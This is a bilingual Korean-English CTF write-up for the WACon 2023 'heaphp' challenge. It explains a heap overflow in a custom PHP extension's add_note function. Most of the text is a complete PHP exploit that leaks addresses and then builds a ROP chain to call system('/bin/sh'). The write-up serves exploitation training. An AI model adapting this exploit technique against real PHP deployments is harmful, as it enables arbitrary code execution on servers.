[CTF write up] WACon CTF 2023 qual - heaphp : PHP Extension Exploitation

2023. 9. 4. 12:43CTF write up

IDA - zif_add_note

memcpy의 인자로 들어가는 len 값으로 PHP 파라미터 구조체에서 가져온 진짜 인자의 길이를 사용하지만, _emalloc 변수에 들어가는 size 변수는 strlen 함수의 결과를 값으로 사용한다. 따라서 add_note의 두번째 인자에 Null 바이트를 포함시키면 Heap Overflow가 발생한다.

 

The len value entered as an argument to memcpy uses the length of the actual argument taken from the PHP parameter structure, but the size variable entered into the _emalloc variable uses the result of the strlen function as the value. Therefore, if a null byte is included in the second argument of add_note, a heap overflow occurs.

 

struct note
{
  char title[32];
  size_t size;
  char *content;
};

note 구조체는 다음과 같다. 첫번째 노트의 content 변수가 두번째 노트 note 구조체 바로 아래에 할당되게 만들고 Heap Overflow를 이용해 size를 덮어서 leak를 하거나 content 포인터를 덮어서 AAW를 할 수 있다.

 

The note structure is as follows. You can make the content variable of the first note be allocated right above the note structure of the second note and use Heap Overflow to cover the size to leak or cover the content pointer to do AAW.

 

pie breakpoint 0x123559
pie run -c /home/pwn/php.ini ./payload.php
b*write
c
del 1
del 2
b*(zif_add_note-0x1340+0x1692)
c

디버깅을 하려면 다음과 같은 gdb_script를 사용할 수 있다. write에 breakpoint를 걸어서 php의 echo가 실행되는 시점에 멈출 수 있다. php 코드가 실행되는 시점에는 heaphp.so가 메모리상에 로드되어있기 때문에 그곳에 다시 breakpoint를 걸어서 extenstion 함수들을 디버깅할 수 있다.

 

For debugging, you can use gdb_script as follows. You can stop when PHP's echo is executed by setting a breakpoint in write. Since heaphp.so is loaded in memory at the time the PHP code is executed, you can debug extension functions by setting a breakpoint there again.

 

최종적으로는 아래와 같이 익스플로잇하면 된다.

1. 첫번째 노트의 content 변수가 두번째 노트의 note 구조체 바로 아래에 할당된 Heap Layout을 만든다.

2. 첫번째 노트를 해제 / 똑같은 크기로 재할당을 반복하면서 두번째 노트의 size나 content 포인터를 덮었을 수 있다.

3. 위와 같은 방법으로 pie_base, libc_base, stack을 차례로 leak한다.

4. content 포인터를 덮은 후 두번째 노트를 edit 하는 방법으로 AAW를 할 수 있고, 이를 통해 ROP를 한다.

 

Finally, you can exploit it as follows.
1. Create a Heap Layout where the content variable of the first note is assigned immediately below the note structure of the second note.
2. While repeatedly releasing/reassigning the first note to the same size, the size or content pointer of the second note may have been covered.
3. Leak pie_base, libc_base, and stack in order using the same method as above.
4. You can perform AAW by covering the content pointer and editing the second note, and then perform ROP through this.

 

<?php
    echo "BREAKPOINT\n";
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaa");
    add_note("x2","bbbbbbbb");

    delete_note(0);
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff");

    $buf = view_note(1);
    $lic = (ord($buf[8]))+(ord($buf[9])*256)+(ord($buf[10])*256*256)+(ord($buf[11])*256*256*256)+(ord($buf[12])*256*256*256*256)+(ord($buf[13])*256*256*256*256*256)+(ord($buf[14])*256*256*256*256*256*256) +0x8 - 0x1000;
    echo "lic : ";
    echo $lic;
    echo "
";

    $heap_to_base = $lic + 0x1fe0;
    echo "heap_to_base : ";
    echo $heap_to_base;
    echo "
";

    $addr1 = $heap_to_base & 0xffffffff;
    $addr2 = $heap_to_base >> 32;
    $addr = pack("V", $addr1).pack("V", $addr2);

    delete_note(0);
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);

    $buf = view_note(1);
    $lic = (ord($buf[0]))+(ord($buf[1])*256)+(ord($buf[2])*256*256)+(ord($buf[3])*256*256*256)+(ord($buf[4])*256*256*256*256)+(ord($buf[5])*256*256*256*256*256)+(ord($buf[6])*256*256*256*256*256*256);

    $pie_base = $lic - 0x16f200;
    echo "pie_base : ";
    echo $pie_base;
    echo "
";

    $base_to_libc = $pie_base + 0x544ff0;
    echo "base_to_libc : ";
    echo $base_to_libc;
    echo "
";

    $addr1 = $base_to_libc & 0xffffffff;
    $addr2 = $base_to_libc >> 32;
    $addr = pack("V", $addr1).pack("V", $addr2);

    delete_note(0);
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);

    $buf = view_note(1);
    $lic = (ord($buf[0]))+(ord($buf[1])*256)+(ord($buf[2])*256*256)+(ord($buf[3])*256*256*256)+(ord($buf[4])*256*256*256*256)+(ord($buf[5])*256*256*256*256*256)+(ord($buf[6])*256*256*256*256*256*256);

    $libc_base = $lic - 0x29dc0;
    echo "libc_base : ";
    echo $libc_base;
    echo "
";

    $environ = $libc_base + 0xb2f2d0 - 8192;
    echo "environ : ";
    echo $environ;
    echo "
";

    $addr1 = $environ & 0xffffffff;
    $addr2 = $environ >> 32;
    $addr = pack("V", $addr1).pack("V", $addr2);

    delete_note(0);
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);

    $buf = view_note(1);
    $lic = (ord($buf[0]))+(ord($buf[1])*256)+(ord($buf[2])*256*256)+(ord($buf[3])*256*256*256)+(ord($buf[4])*256*256*256*256)+(ord($buf[5])*256*256*256*256*256)+(ord($buf[6])*256*256*256*256*256*256);

    $stack = $lic;
    echo "stack : ";
    echo $stack;
    echo "
";

    $gadget = $libc_base + 0x000000000002a3e5;
    echo "gadget : ";
    echo $gadget;
    echo "
";

    $addr1 = $gadget & 0xffffffff;
    $addr2 = $gadget >> 32;
    $rop_1 = pack("V", $addr1).pack("V", $addr2);


    $binsh = $libc_base + 0x1d8698;
    echo "binsh : ";
    echo $binsh;
    echo "
";

    $addr1 = $binsh & 0xffffffff;
    $addr2 = $binsh >> 32;
    $rop_2 = pack("V", $addr1).pack("V", $addr2);


    $system = $libc_base + 0x50d60;
    echo "system : ";
    echo $system;
    echo "
";

    $addr1 = $system & 0xffffffff;
    $addr2 = $system >> 32;
    $rop_3 = pack("V", $addr1).pack("V", $addr2);

    $gadget2 = $libc_base + 0x000000000002a3e5 +1;
    echo "gadget2 : ";
    echo $gadget;
    echo "
";

    $addr1 = $gadget2 & 0xffffffff;
    $addr2 = $gadget2 >> 32;
    $rop_4 = pack("V", $addr1).pack("V", $addr2);

    $ret = $stack - 0x3a48 + 0x8 + 0x8 + 0x8;
    echo "ret : ";
    echo $ret;
    echo "
";

    $addr1 = $ret & 0xffffffff;
    $addr2 = $ret >> 32;
    $addr = pack("V", $addr1).pack("V", $addr2);

    delete_note(0);
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
    edit_note(1, $rop_3[0].$rop_3[1].$rop_3[2].$rop_3[3].$rop_3[4].$rop_3[5].$rop_3[6].$rop_3[7]);


    $ret = $stack - 0x3a48 + 0x8 + 0x8;
    echo "ret : ";
    echo $ret;
    echo "
";

    $addr1 = $ret & 0xffffffff;
    $addr2 = $ret >> 32;
    $addr = pack("V", $addr1).pack("V", $addr2);

    delete_note(0);
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
    edit_note(1, $rop_4[0].$rop_4[1].$rop_4[2].$rop_4[3].$rop_4[4].$rop_4[5].$rop_4[6].$rop_4[7]);


    $ret = $stack - 0x3a48 + 0x8;
    echo "ret : ";
    echo $ret;
    echo "
";

    $addr1 = $ret & 0xffffffff;
    $addr2 = $ret >> 32;
    $addr = pack("V", $addr1).pack("V", $addr2);

    delete_note(0);
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
    edit_note(1, $rop_2[0].$rop_2[1].$rop_2[2].$rop_2[3].$rop_2[4].$rop_2[5].$rop_2[6].$rop_2[7]);


    $ret = $stack - 0x3a48;
    echo "ret : ";
    echo $ret;
    echo "
";

    $addr1 = $ret & 0xffffffff;
    $addr2 = $ret >> 32;
    $addr = pack("V", $addr1).pack("V", $addr2);

    delete_note(0);
    add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
    edit_note(1, $rop_1[0].$rop_1[1].$rop_1[2].$rop_1[3].$rop_1[4].$rop_1[5].$rop_1[6].$rop_1[7]);

    echo "END";



    ?>

 

문자열을 합치는 동작등에서 Heap 관련 에러가 발생하기 때문에, ROP 체인을 8바이트 단위로 쌓아야 한다.

Because heap-related errors occur when merging strings, etc., the ROP chain must be stacked in 8-byte units.